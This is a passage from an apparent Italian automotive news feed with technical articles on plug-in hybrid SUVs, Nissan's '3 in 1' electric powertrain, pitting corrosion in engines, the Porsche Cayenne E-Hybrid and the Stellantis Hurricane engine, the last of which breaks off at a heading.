<p class="wp-block-paragraph">Dall’analisi complessiva, la <strong>Mercedes-Benz GLC 300e 4MATIC</strong> si impone come la <strong>migliore sintesi tecnica del 2025</strong> nel segmento PHEV premium medio-grande. Batteria da 31,2 kWh, motore elettrico ad altissima efficienza, funzioni predittive e consumi contenuti la rendono il riferimento assoluto, nonostante peso e prezzo elevati.</p>



<p class="wp-block-paragraph">Al secondo posto la <strong>Volvo XC60 T8 Recharge</strong>, apprezzata per la potenza di 455 CV, la trazione integrale elettrica evoluta e il piacere di guida unico. Il sistema Twin Engine, pur complesso, rappresenta una soluzione affascinante e prestazionale.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="768" src="https://www.giornalemotori.com/wp-content/uploads//2025/10/Immagine-WhatsApp-2025-10-14-ore-19.47.11_f7abc97a-1-1024x768.jpg" alt="Immagine WhatsApp 2025 10 14 ore 19.47.11 f7abc97a 1" class="wp-image-164374" title="Analisi Tecnica: Confronto dei sistemi ibridi Plug-in SUV alto di gamma 115" srcset="https://www.giornalemotori.com/wp-content/uploads/2025/10/Immagine-WhatsApp-2025-10-14-ore-19.47.11_f7abc97a-1-1024x768.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2025/10/Immagine-WhatsApp-2025-10-14-ore-19.47.11_f7abc97a-1-768x576.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2025/10/Immagine-WhatsApp-2025-10-14-ore-19.47.11_f7abc97a-1-300x225.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2025/10/Immagine-WhatsApp-2025-10-14-ore-19.47.11_f7abc97a-1-696x522.jpg 696w, https://www.giornalemotori.com/wp-content/uploads/2025/10/Immagine-WhatsApp-2025-10-14-ore-19.47.11_f7abc97a-1-265x198.jpg 265w, https://www.giornalemotori.com/wp-content/uploads/2025/10/Immagine-WhatsApp-2025-10-14-ore-19.47.11_f7abc97a-1.jpg 1600w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Analisi Tecnica: Confronto dei sistemi ibridi Plug-in SUV alto di gamma 130</figcaption></figure>



<p class="wp-block-paragraph">Chiude il podio la <strong>Lexus NX 450h+</strong>, campionessa di efficienza e affidabilità. Il motore Atkinson, la garanzia decennale e i costi di gestione contenuti ne fanno la scelta più razionale per chi punta alla durata e al valore nel tempo.</p>



<p class="wp-block-paragraph">Audi Q5 e BMW X3 restano valide alternative, ma leggermente superate per efficienza o contenuto tecnologico. In un mercato dove l’evoluzione dell’ibrido plug-in corre veloce, questi sei SUV testimoniano quanto la convergenza tra efficienza energetica, connettività e comfort abbia ormai raggiunto livelli altissimi segnando il confine sempre più sottile tra l’ibrido del presente e l’elettrico del futuro.</p>
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		<title>Best Engine: il nuovo propulsore elettrico Nissan “3 in 1”</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Wed, 08 Oct 2025 15:46:04 +0000</pubDate>
				<category><![CDATA[La tecnica]]></category>
		<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>Nissan ha messo a punto un nuovo propulsore elettrico che promette di migliorare il piacere di guida dei veicoli a zero emissioni. Il costruttore giapponese vanta una lunga tradizione di innovazione nel settore della mobilità elettrica. Già nel 2010 fu pioniere con la presentazione della LEAF, il primo veicolo elettrico al mondo destinato al mercato [&#8230;]</p>
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										<content:encoded><![CDATA[
<p class="wp-block-paragraph">Nissan ha messo a punto un nuovo propulsore elettrico che promette di migliorare il piacere di guida dei veicoli a zero emissioni. Il costruttore giapponese vanta una lunga tradizione di innovazione nel settore della mobilità elettrica. Già nel 2010 fu pioniere con la presentazione della <strong>LEAF</strong>, il primo veicolo elettrico al mondo destinato al mercato di massa. Quel progetto ha rappresentato la base per lo sviluppo di una nuova generazione di veicoli elettrici Nissan e ha ispirato anche molti concorrenti.</p>



<p class="wp-block-paragraph">Uno dei principali vantaggi dei propulsori elettrici è la loro <strong>versatilità</strong>: possono essere adattati a un’ampia gamma di veicoli, dalle citycar ai SUV. Inoltre, la <strong>reattività immediata</strong> tipica dell’alimentazione elettrica garantisce un’esperienza di guida emozionante e un controllo superiore del veicolo.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="576" src="https://www.giornalemotori.com/wp-content/uploads//2025/10/3in1_02-1024x576.jpg" alt="3in1 02" class="wp-image-163933" title="Best Engine: il nuovo propulsore elettrico Nissan “3 in 1” 131" srcset="https://www.giornalemotori.com/wp-content/uploads/2025/10/3in1_02-1024x576.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2025/10/3in1_02-768x432.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2025/10/3in1_02-300x169.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2025/10/3in1_02-696x392.jpg 696w, https://www.giornalemotori.com/wp-content/uploads/2025/10/3in1_02.jpg 1280w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Best Engine: il nuovo propulsore elettrico Nissan “3 in 1” 137</figcaption></figure>



<h2 class="wp-block-heading"><strong>Il debutto del sistema “3 in 1”</strong></h2>



<p class="wp-block-paragraph">La <strong>LEAF di terza generazione</strong> introduce un sistema di propulsione completamente nuovo, chiamato <strong>“3 in 1”</strong>. Questo innovativo gruppo motopropulsore integra in un unico modulo <strong>tre componenti fondamentali</strong>: il <strong>motore elettrico</strong>, l’<strong>inverter</strong>, e il <strong>riduttore</strong>.</p>



<p class="wp-block-paragraph">La combinazione compatta di questi elementi consente di ottenere <strong>maggiori prestazioni</strong>, <strong>silenziosità</strong> e <strong>fluidità di funzionamento</strong>. Allo stesso tempo, migliora l’efficienza energetica, riducendo i costi di produzione e di gestione per il proprietario del veicolo.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="576" src="https://www.giornalemotori.com/wp-content/uploads//2025/10/3in1_04-1024x576.jpg" alt="3in1 04" class="wp-image-163934" title="Best Engine: il nuovo propulsore elettrico Nissan “3 in 1” 132" srcset="https://www.giornalemotori.com/wp-content/uploads/2025/10/3in1_04-1024x576.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2025/10/3in1_04-768x432.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2025/10/3in1_04-300x169.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2025/10/3in1_04-696x392.jpg 696w, https://www.giornalemotori.com/wp-content/uploads/2025/10/3in1_04.jpg 1280w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Best Engine: il nuovo propulsore elettrico Nissan “3 in 1” 138</figcaption></figure>



<h2 class="wp-block-heading"><strong>Rigidità e comfort migliorati</strong></h2>



<p class="wp-block-paragraph">Integrare tre elementi chiave in un solo componente garantisce una <strong>struttura più rigida</strong>, riducendo rumorosità e vibrazioni. Grazie al nuovo motore elettrico e all’inverter di ultima generazione, il sistema offre un’<strong>accelerazione più potente e progressiva</strong>, accompagnata da un <strong>consumo energetico inferiore</strong>.</p>



<p class="wp-block-paragraph">La maggiore rigidità del modulo ha consentito agli ingegneri di <strong>riprogettare il sistema di ancoraggio al telaio</strong>, adottando una <strong>staffa di montaggio più compatta</strong> ma capace di sopportare meglio le sollecitazioni.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="576" src="https://www.giornalemotori.com/wp-content/uploads//2025/10/3in1_06-1024x576.jpg" alt="3in1 06" class="wp-image-163935" title="Best Engine: il nuovo propulsore elettrico Nissan “3 in 1” 133" srcset="https://www.giornalemotori.com/wp-content/uploads/2025/10/3in1_06-1024x576.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2025/10/3in1_06-768x432.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2025/10/3in1_06-300x169.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2025/10/3in1_06-696x392.jpg 696w, https://www.giornalemotori.com/wp-content/uploads/2025/10/3in1_06.jpg 1280w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Best Engine: il nuovo propulsore elettrico Nissan “3 in 1” 139</figcaption></figure>



<h2 class="wp-block-heading"><strong>Tecnologia anti-vibrazioni e silenziosità</strong></h2>



<p class="wp-block-paragraph">Per ridurre ulteriormente le vibrazioni, Nissan ha adottato un <strong>rotore skew a sei stadi</strong> con cave leggermente sfalsate, che elimina le oscillazioni generate dalle forze magnetiche. Inoltre, la <strong>struttura press-fit</strong> della cassa interna contribuisce a diminuire le vibrazioni residue, migliorando il comfort acustico e la qualità di marcia complessiva.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="576" src="https://www.giornalemotori.com/wp-content/uploads//2025/10/videoframe_4733-1024x576.jpg" alt="videoframe 4733" class="wp-image-163936" title="Best Engine: il nuovo propulsore elettrico Nissan “3 in 1” 134" srcset="https://www.giornalemotori.com/wp-content/uploads/2025/10/videoframe_4733-1024x576.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2025/10/videoframe_4733-768x432.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2025/10/videoframe_4733-300x169.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2025/10/videoframe_4733-696x392.jpg 696w, https://www.giornalemotori.com/wp-content/uploads/2025/10/videoframe_4733.jpg 1280w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Best Engine: il nuovo propulsore elettrico Nissan “3 in 1” 140</figcaption></figure>



<h2 class="wp-block-heading"><strong>Efficienza e potenza in un formato compatto</strong></h2>



<p class="wp-block-paragraph">L’aumento delle prestazioni è stato ottenuto concentrandosi sull’<strong>ottimizzazione del flusso di corrente elettrica</strong> e sulla riduzione delle perdite. Per farlo, gli ingegneri hanno introdotto una <strong>bobina a filo piatto</strong>, che consente di far passare una maggiore quantità di corrente in uno spazio più compatto all’interno del motore.</p>



<p class="wp-block-paragraph">L’inverter, invece, adotta un <strong>modulo di potenza con raffreddamento a doppia faccia</strong>, una soluzione che migliora l’efficienza soprattutto ad alte velocità. Il risultato è una <strong>propulsione reattiva, fluida e raffinata</strong>, progettata per massimizzare sia le prestazioni sia la durata del sistema.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="576" src="https://www.giornalemotori.com/wp-content/uploads//2025/10/3in1_07-1024x576.jpg" alt="3in1 07" class="wp-image-163938" title="Best Engine: il nuovo propulsore elettrico Nissan “3 in 1” 135" srcset="https://www.giornalemotori.com/wp-content/uploads/2025/10/3in1_07-1024x576.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2025/10/3in1_07-768x432.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2025/10/3in1_07-300x169.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2025/10/3in1_07-696x392.jpg 696w, https://www.giornalemotori.com/wp-content/uploads/2025/10/3in1_07.jpg 1280w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Best Engine: il nuovo propulsore elettrico Nissan “3 in 1” 141</figcaption></figure>



<h2 class="wp-block-heading"><strong>Conclusione: la nuova era della mobilità elettrica Nissan</strong></h2>



<p class="wp-block-paragraph">Con il sistema <strong>“3 in 1”</strong>, Nissan segna un passo avanti decisivo nella tecnologia dei veicoli elettrici.<br>L’unione di potenza, efficienza e comfort rende questo propulsore un riferimento nel panorama EV, confermando la filosofia del marchio: <strong>rendere la mobilità elettrica più emozionante e accessibile per tutti</strong>.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="500" src="https://www.giornalemotori.com/wp-content/uploads//2025/10/3in1_03-1-1.jpg" alt="3in1 03 1 1" class="wp-image-163940" title="Best Engine: il nuovo propulsore elettrico Nissan “3 in 1” 136" srcset="https://www.giornalemotori.com/wp-content/uploads/2025/10/3in1_03-1-1.jpg 800w, https://www.giornalemotori.com/wp-content/uploads/2025/10/3in1_03-1-1-768x480.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2025/10/3in1_03-1-1-300x188.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2025/10/3in1_03-1-1-696x435.jpg 696w" sizes="(max-width: 800px) 100vw, 800px" /><figcaption>Best Engine: il nuovo propulsore elettrico Nissan “3 in 1” 142</figcaption></figure>
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		<title>Ruggine: un nemico storico delle automobili</title>
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		<dc:creator><![CDATA[Alessio Mazzocco]]></dc:creator>
		<pubDate>Wed, 10 Sep 2025 18:39:53 +0000</pubDate>
				<category><![CDATA[La tecnica]]></category>
		<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>Corrosione per pitting nei motori: rischi, test e strategie di prevenzione Nelle auto la ruggine non riguarda solo la carrozzeria, nei motori la corrosione assume forme ancora più insidiose e complesse, capaci di minare la resistenza dei materiali e compromettere l’affidabilità del veicolo. La più temuta è la corrosione per pitting, una forma localizzata che [&#8230;]</p>
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<p class="wp-block-paragraph">Corrosione per pitting nei motori: rischi, test e strategie di prevenzione</p>



<p class="wp-block-paragraph">Nelle auto la <strong>ruggine</strong> non riguarda solo la carrozzeria, nei <strong>motori </strong>la corrosione assume forme ancora più insidiose e complesse, capaci di minare la resistenza dei materiali e compromettere l’affidabilità del veicolo. La più temuta è la <strong>corrosione per pitting</strong>, una forma localizzata che scava micro-cavità profonde nel metallo, invisibili a occhio nudo nelle fasi iniziali ma capaci di provocare cedimenti improvvisi.</p>



<p class="wp-block-paragraph">Proprio per la sua pericolosità, il settore automotive ha sviluppato <strong>normative specifiche</strong> per la corrosione per pitting e <a href="https://www.labsanmarco.it/it/servizi/prove-di-resistenza-alla-corrosione-dei-metalli" target="_blank" rel="noopener">prove di laboratorio standardizzate</a> che consentono di valutare la resistenza dei materiali e dei trattamenti protettivi in condizioni accelerate.</p>



<h2 class="wp-block-heading">Corrosione per pitting: meccanismo e caratteristiche</h2>



<p class="wp-block-paragraph">Il <strong>pitting</strong> si sviluppa quando la superficie metallica, pur protetta da un sottile <strong>film passivante</strong>, subisce una <strong>rottura localizzata</strong>. È in quel punto che il metallo diventa vulnerabile: spesso basta la presenza di <strong>cloruri</strong> o un <strong>difetto microscopico</strong> per innescare una reazione ossidativa molto rapida, capace di scavare progressivamente una <strong>cavità profonda</strong>.</p>



<p class="wp-block-paragraph">Ciò che rende questa forma di corrosione particolarmente pericolosa nei motori è la sua <strong>localizzazione estrema</strong>, perché agisce in zone ristrette e difficilmente individuabili con semplici controlli visivi. Una volta avviato, il processo si caratterizza per una <strong>propagazione accelerata</strong>, tende ad autoalimentarsi e avanza senza dare segnali immediati.</p>



<p class="wp-block-paragraph">A complicare le cose c’è la sua <strong>difficile prevedibilità</strong>: la velocità con cui il pitting cresce dipende da una combinazione di <strong>fattori ambientali</strong>, come umidità e cloruri, e da <strong>variabili metallurgiche</strong> legate alla composizione delle leghe.</p>



<p class="wp-block-paragraph">In ambito automobilistico, il rischio è amplificato dall’azione simultanea di <strong>stress meccanici</strong> e <strong>cicli termici</strong> che sottopongono i materiali del motore a condizioni particolarmente gravose.</p>



<h2 class="wp-block-heading">Zone critiche del motore soggette a pitting</h2>



<p class="wp-block-paragraph">Non tutte le parti del motore hanno la stessa vulnerabilità. Le aree più esposte sono quelle in contatto con fluidi o soggette a elevate temperature:</p>



<ul class="wp-block-list">
<li><strong>camicie dei cilindri e pistoni</strong>, dove la presenza di residui e condensa può generare micro-perforazioni;</li>



<li><strong>circuiti di raffreddamento</strong>, incluse pompe e radiatori, che accumulano cloruri e impurità nell’acqua;</li>



<li><strong>testate e collettori di scarico</strong>, sottoposti a sbalzi termici estremi;</li>



<li><strong>sistemi di iniezione e turbine</strong>, in cui la precisione dei componenti rende qualsiasi cavitazione o corrosione un rischio immediato.</li>
</ul>



<p class="wp-block-paragraph">La conseguenza diretta sono <strong>perdite di compressione, cali di efficienza, surriscaldamenti</strong> e nei casi peggiori la <strong>rottura catastrofica del propulsore</strong>.</p>



<h2 class="wp-block-heading"><br>Sicurezza e prestazioni a rischio</h2>



<p class="wp-block-paragraph">Il legame tra <strong>corrosione</strong> e <strong>sicurezza stradale</strong> è diretto, questo perché un motore compromesso dal pitting non solo perde efficienza, ma espone al rischio di guasti improvvisi. Una crepa in un collettore, un foro in un tubo del circuito di raffreddamento o la corrosione di un componente dell’iniezione possono causare cali di potenza, surriscaldamenti o, nei casi peggiori, la rottura improvvisa del propulsore.</p>



<p class="wp-block-paragraph">Per il conducente questo significa minore affidabilità e maggiori costi di manutenzione, mentre per l’industria automobilistica è una sfida costante che riguarda sia la qualità percepita sia la sicurezza dei veicoli.</p>



<h2 class="wp-block-heading">Normative e standard di prova per la corrosione</h2>



<p class="wp-block-paragraph">Per affrontare il problema in modo scientifico, il settore automotive utilizza una serie di <strong>norme internazionali</strong> che regolano i metodi di test della resistenza alla corrosione.</p>



<p class="wp-block-paragraph">Le più diffuse includono:</p>



<ul class="wp-block-list">
<li><strong>ISO 9227</strong> – Prova in nebbia salina neutra (NSS): standard di riferimento per valutare la resistenza alla corrosione in ambienti salini;</li>



<li><a href="https://store.astm.org/g0048-11r20e01.html" target="_blank" rel="noopener"><strong>ASTM G48</strong></a> – Test per valutare il pitting in acciai inossidabili esposti a soluzioni contenenti cloruri;</li>



<li><strong>ASTM G46</strong> – Linee guida per l’esame dei campioni dopo corrosione localizzata, con procedure di microscopia e misurazione della profondità dei crateri;</li>



<li><strong>SAE J2334</strong> – Metodo accelerato per testare la resistenza alla corrosione in condizioni automobilistiche reali (cicli di sale, umidità e asciugatura);</li>



<li><strong>ISO 16701</strong> – Cicli accelerati di corrosione per esposizione in ambienti con cloruri e condensa, più vicino alle condizioni tipiche di motori e sistemi di raffreddamento.</li>
</ul>



<p class="wp-block-paragraph">Grazie a questi standard, i costruttori e i laboratori possono confrontare le prestazioni di diverse leghe e rivestimenti in condizioni uniformi e ripetibili.</p>



<h2 class="wp-block-heading">Strategie di prevenzione nei motori auto</h2>



<p class="wp-block-paragraph">La prevenzione del pitting si basa su un insieme di approcci complementari. Dal punto di vista metallurgico, l’impiego di <strong>leghe resistenti</strong> come acciai inox con alto contenuto di cromo, molibdeno e azoto rappresenta la prima barriera. A questo si aggiungono i <strong>rivestimenti protettivi</strong>, che spaziano dai coating ceramici ai trattamenti galvanici, in grado di creare barriere chimicamente stabili.</p>



<p class="wp-block-paragraph">La <strong>progettazione dei componenti</strong> gioca un ruolo altrettanto importante: evitare zone di ristagno nei circuiti di raffreddamento e nei collettori significa ridurre gli inneschi della corrosione.</p>



<p class="wp-block-paragraph">Fondamentale è anche il <strong>controllo dei fluidi</strong>, con l’uso di refrigeranti additivati e la sostituzione periodica dei liquidi per limitare le concentrazioni saline. Infine, la <strong>manutenzione preventiva</strong> svolge una funzione chiave: controlli periodici con tecniche non distruttive come endoscopia, ultrasuoni o liquidi penetranti permettono di rilevare cavitazioni e micro-crateri prima che compromettano definitivamente il motore.</p>



<h2 class="wp-block-heading">Sicurezza e sostenibilità</h2>



<p class="wp-block-paragraph">Il pitting non è soltanto un problema tecnico: rappresenta una minaccia alla <strong>sicurezza su strada</strong> e un ostacolo alla <strong>sostenibilità</strong>. Un motore che resiste meglio alla corrosione dura di più, richiede meno sostituzioni di componenti e riduce l’impatto ambientale legato a manutenzioni invasive e ricambi prematuri. Per i costruttori significa veicoli più affidabili e competitivi; per gli automobilisti, maggiore fiducia e costi inferiori nel lungo periodo.</p>



<p class="wp-block-paragraph">La corrosione per pitting resta un avversario ostinato, ma grazie all’evoluzione delle <strong>normative</strong>, ai <strong>test di laboratorio</strong> e all’uso di materiali sempre più avanzati, oggi è possibile affrontarla con strumenti efficaci. Conoscerla e prevenirla significa proteggere non solo il cuore dell’automobile, ma anche la sicurezza e la qualità della guida.</p>



<p class="wp-block-paragraph"></p>
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		<item>
		<title>Best Engine: il sistema ibrido PHEV90 della Cayenne S E-Hybrid, l&#8217;equilibro tra prestazioni e innovazione</title>
		<link>https://www.giornalemotori.com/2025/02/27/best-engine-il-sistema-ibrido-phev90-della-cayenne-s-e-hybrid-lequilibro-tra-prestazioni-e-innovazione/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=best-engine-il-sistema-ibrido-phev90-della-cayenne-s-e-hybrid-lequilibro-tra-prestazioni-e-innovazione</link>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Thu, 27 Feb 2025 09:12:16 +0000</pubDate>
				<category><![CDATA[La tecnica]]></category>
		<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>La tecnologia E-Hybrid della Cayenne, di tipo plug-in, unisce prestazioni ed efficienza in modi innovativi, rappresentando un&#8217;evoluzione tecnica rispetto alla generazione precedente dello stesso sistema. Il gruppo propulsore è stato completamente rinnovato, consentendo una maggiore autonomia per la marcia in singola trazione elettrica e una potenza di sistema superiore, oltre a tempi di ricarica più [&#8230;]</p>
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<p class="wp-block-paragraph">La tecnologia E-Hybrid della Cayenne, di tipo plug-in, unisce prestazioni ed efficienza in modi innovativi, rappresentando un&#8217;evoluzione tecnica rispetto alla generazione precedente dello stesso sistema. Il gruppo propulsore è stato completamente rinnovato, consentendo una maggiore autonomia per la marcia in singola trazione elettrica e una potenza di sistema superiore, oltre a tempi di ricarica più brevi.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="724" src="https://www.giornalemotori.com/wp-content/uploads//2025/02/cayenne1-1024x724.jpg" alt="cayenne1" class="wp-image-149413" title="Best Engine: il sistema ibrido PHEV90 della Cayenne S E-Hybrid, l&#039;equilibro tra prestazioni e innovazione 143" srcset="https://www.giornalemotori.com/wp-content/uploads/2025/02/cayenne1-1024x724.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2025/02/cayenne1-768x543.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2025/02/cayenne1-300x212.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2025/02/cayenne1-696x492.jpg 696w, https://www.giornalemotori.com/wp-content/uploads/2025/02/cayenne1-scaled.jpg 1200w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Best Engine: il sistema ibrido PHEV90 della Cayenne S E-Hybrid, l'equilibro tra prestazioni e innovazione 144</figcaption></figure>



<h2 class="wp-block-heading"><strong>Nuovo motore elettrico incrementato e Prestazioni migliorate</strong></h2>



<p class="wp-block-paragraph">Il cuore del sistema ibrido, denominato E-Hybrid, è rappresentato da un nuovo motore elettrico. Questo è composto da una nuova bobina con un numero di spire ottimizzato e da un nuovo magnete, che consente di avere una corrente di fase aumentata. Inoltre, è dotato di un nuovo inverter con un numero maggiore di impulsi, generando una potenza di 176 CV e un incremento di 50 Nm, portando il valore di coppia fino a 450 Nm.</p>



<h2 class="wp-block-heading"><strong>Efficienza energetica e ricarica incrementate</strong></h2>



<p class="wp-block-paragraph">In aggiunta, il nuovo motore elettrico può convertire il 30% in più di potenza frenante in energia elettrica, funzionando come generatore di energia e immagazzinandola nella batteria, che ha una capacità di recupero fino a 88 kW e una velocità di rallentamento minimo di 2 km/h, rispetto ai 14 km/h della generazione precedente. L&#8217;unità è stata compattata per essere integrata nel cambio automatico a otto velocità, anch&#8217;esso completamente rinnovato.</p>



<h2 class="wp-block-heading"><strong>Comfort e modulabilità della Frenata ottimizzata</strong></h2>



<p class="wp-block-paragraph">Un nuovo servofreno migliora la modulabilità e il comfort durante le fasi di rallentamento, sia quando il pedale aziona la frenata rigenerativa, sia quando passa a quella idraulica. La Cayenne utilizza una nuova tecnologia per rendere particolarmente fluida la transizione tra il freno di recupero e il freno idraulico, trasmettendo sempre una sensazione di frenata omogenea con un dosaggio ottimale della potenza frenante, sia nelle situazioni di guida quotidiane che in quelle dinamiche.</p>



<h2 class="wp-block-heading"><strong>Capacità della batteria incrementata e tempi di ricarica ridotti </strong></h2>



<p class="wp-block-paragraph">La batteria ad alto voltaggio ha una capacità maggiore, passando da 9 kWh a 25,9 kWh in totale, consentendo viaggi in modalità elettrica più lunghi. Con il nuovo caricabatterie di bordo da 11 kW, il tempo di ricarica con una Wallbox o una stazione di ricarica adatta è di soli 40 minuti.</p>



<h2 class="wp-block-heading"><strong>Modalità di Guida e Strategia Energetica ottimizzate</strong></h2>



<p class="wp-block-paragraph">Le modalità di guida sono progettate per utilizzare l&#8217;energia disponibile in modo intelligente ed efficiente. Nel programma Sport, il livello di carica minimo della batteria di trazione scende dal 30 al 20 percento, mentre nel programma Sport Plus scende dall&#8217;80 al 30 percento. Ciò significa che il motore a combustione interna deve ricaricare la batteria meno frequentemente rispetto al passato, migliorando l&#8217;efficienza del veicolo.</p>



<h2 class="wp-block-heading"><strong>Nuove Strategie di Ricarica più funzionali </strong></h2>



<p class="wp-block-paragraph">Un&#8217;altra novità sono le strategie di ricarica nel programma di guida E-Charge: quando si guida in aree abitate a velocità inferiori a 55 km/h, il sistema passa automaticamente alla modalità ibrida. Il motore a combustione e il motore elettrico lavorano insieme per mantenere un livello di carica costante. Fuori città e a velocità più elevate, il motore a combustione interna subentra, caricando la batteria fino a un livello massimo dell&#8217;80 percento. La modalità Hybrid-Auto è stata rivista, considerando dati ambientali e di navigazione, influenzando la strategia del gruppo propulsore e consentendo di percorrere una maggiore parte del percorso solo con energia elettrica nelle aree urbane.</p>



<h2 class="wp-block-heading"><strong>Consumi e performance</strong></h2>



<p class="wp-block-paragraph">Dei due sistemi presenti a bordo della nuova Cayenne S E-Hybrid, la versione entry-level S E-Hybrid si presenta come il sistema meglio equilibrato, grazie al suo rapporto tra prestazioni ed efficienza. Il consumo di carburante, secondo il ciclo di omologazione combinato (WLTP), varia da 1,7 a 1,4 l/100 km, mentre a batteria scarica il valore sale da 10,9 a 10,0 l/100 km. Il consumo di sola energia elettrica, quando il motore elettrico funziona da solo, varia da 31,7 a 29,2 kWh/100 km.</p>



<h2 class="wp-block-heading"><strong>Motore Benzina e Prestazioni Finali</strong></h2>



<p class="wp-block-paragraph">La parte benzina è composta da un nuovo motore V6 da 3.0 litri turbo, in grado di sviluppare 356 CV, con un incremento di potenza di 49 CV, per una potenza di sistema complessiva di 519 CV. Il SUV Coupé di Porsche accelera da zero a 100 km/h in 4,7 secondi, raggiungendo una velocità massima di 263 km/h. L&#8217;autonomia elettrica si attesta fino a 90 km in ambito urbano, con un potenziale di 125 km in condizioni ottimali di utilizzo e temperatura della batteria.</p>



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https://www.youtube.com/watch?v=gETz9xLaxOQ&#038;ab_channel=Porsche
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			<media:title type="plain">Tecnica Auto</media:title>
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		<title>Best Engine: Scopriamo il potente motore Hurricane sei cilindri Biturbo di Stellantis</title>
		<link>https://www.giornalemotori.com/2025/01/22/best-engine-scopriamo-il-potente-motore-hurricane-sei-cilindri-biturbo-di-stellantis/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=best-engine-scopriamo-il-potente-motore-hurricane-sei-cilindri-biturbo-di-stellantis</link>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Wed, 22 Jan 2025 17:30:32 +0000</pubDate>
				<category><![CDATA[La tecnica]]></category>
		<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>Il motore Hurricane biturbo da 3,0 litri di Stellantis è un sei cilindri in linea progettato per raggiungere livelli di potenza equivalenti a quelli del precedente V8, ma con una riduzione del consumo di carburante. Questa innovazione rispetta le normative antinquinamento sempre più severe, anche negli Stati Uniti, dimostrando l&#8217;impegno dell&#8217;azienda nella sostenibilità. Varianti e [&#8230;]</p>
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<p class="wp-block-paragraph">Il motore Hurricane biturbo da 3,0 litri di Stellantis è un sei cilindri in linea progettato per raggiungere livelli di potenza equivalenti a quelli del precedente V8, ma con una riduzione del consumo di carburante. Questa innovazione rispetta le normative antinquinamento sempre più severe, anche negli Stati Uniti, dimostrando l&#8217;impegno dell&#8217;azienda nella sostenibilità.</p>



<h2 class="wp-block-heading"><strong>Varianti e Integrazione Elettrica</strong></h2>



<p class="wp-block-paragraph">L&#8217;architettura sviluppata da Stellantis Propulsion Systems presenta due varianti distinte: una a sei cilindri ottimizzata per l&#8217;efficienza, capace di erogare 400 CV, e una versione ad alte prestazioni da 500 CV ed è stato progettato anche per una futura integrazione con veicoli elettrici a basse emissioni, utilizzando tecnologia ibrida plug-in.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="555" src="https://www.giornalemotori.com/wp-content/uploads//2025/01/Stellantis-Hurricane-engines-1024x555.jpg" alt="Stellantis Hurricane engines" class="wp-image-148184" title="Best Engine: Scopriamo il potente motore Hurricane sei cilindri Biturbo di Stellantis 145" srcset="https://www.giornalemotori.com/wp-content/uploads/2025/01/Stellantis-Hurricane-engines-1024x555.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2025/01/Stellantis-Hurricane-engines-768x416.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2025/01/Stellantis-Hurricane-engines-300x163.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2025/01/Stellantis-Hurricane-engines-696x377.jpg 696w, https://www.giornalemotori.com/wp-content/uploads/2025/01/Stellantis-Hurricane-engines-scaled.jpg 1200w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Best Engine: Scopriamo il potente motore Hurricane sei cilindri Biturbo di Stellantis 146</figcaption></figure>



<h2 class="wp-block-heading"><strong>Design e Prestazioni dei Turbocompressori</strong></h2>



<p class="wp-block-paragraph">Nonostante sia un sei cilindri in linea, il motore è dotato di due turbocompressori. Questa scelta consente una risposta più pronta e una minore inerzia agli input dell&#8217;acceleratore. Le giranti di dimensioni ridotte garantiscono una coppia maggiore, particolarmente necessaria per i veicoli americani, che richiedono una capacità di traino elevata senza compromettere il risparmio di carburante, che si attesta attorno al 15% rispetto al V8 equivalente.</p>



<h2 class="wp-block-heading"><strong>Struttura e Materiali Innovativi</strong></h2>



